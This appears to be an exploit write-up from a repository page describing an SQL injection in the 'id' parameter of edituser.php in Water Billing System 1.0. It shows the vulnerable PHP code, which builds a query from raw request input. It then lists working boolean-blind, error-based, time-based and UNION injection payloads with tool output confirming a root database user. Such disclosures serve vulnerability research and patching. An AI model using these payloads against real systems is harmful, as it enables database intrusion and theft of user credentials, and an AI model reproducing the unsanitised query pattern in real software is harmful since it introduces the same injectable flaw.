

## #Exploit Title: Water Billing System 1.0 - 'id' SQL Injection

Vendor: <https://www.sourcecodester.com/php/14560/water-billing-system-phpmysql-full-source-code.html>

Version: 1.0

Tested on: Windows 10

Vulnerable param: id

Vulnerable file: edituser.php

```
<?php
include 'db.php';
$user_id = $_REQUEST['id'];

$result = mysqli_query($conn, "SELECT * FROM user WHERE id = '$user_id'");
$test = mysqli_fetch_array($result);
if (!$result)
{
    die("Error: Data not found..");
}

$id=$test['id'] ;
$username= $test['username'] ;
$password=$test['password'] ;
$name=$test['name'] ;

?>
```

Vulnerability proof:

## Users Update

Username:

Password:

Name:

```
Parameter: id (GET)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: id=9' RLIKE (SELECT (CASE WHEN (5073=5073) THEN 9 ELSE 0x28 END))-- HmFU

  Type: error-based
  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: id=9' OR (SELECT 9541 FROM (SELECT COUNT(*), CONCAT(0x71716a7871, (SELECT (ELT(9541=9541, 1))), 0x716b787071, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vdw0

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=9' AND (SELECT 6746 FROM (SELECT(SLEEP(5)))VzcS)-- PcDM

  Type: UNION query
  Title: MySQL UNION query (NULL) - 4 columns
  Payload: id=-7326' UNION ALL SELECT CONCAT(0x71716a7871, 0x715a654a505276706b6d686d4d4b6244767a466b6642737a6d6e564a726251486f47626d7444754f, 0x716b787071), NULL, NULL, NULL#

[17:45:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[17:45:05] [INFO] fetching current user
current user: 'root@localhost'
[17:45:05] [INFO] fetching current database
current database: 'sourcecodester_wbsdb'
```

### Releases

No releases published

### Packages

No packages published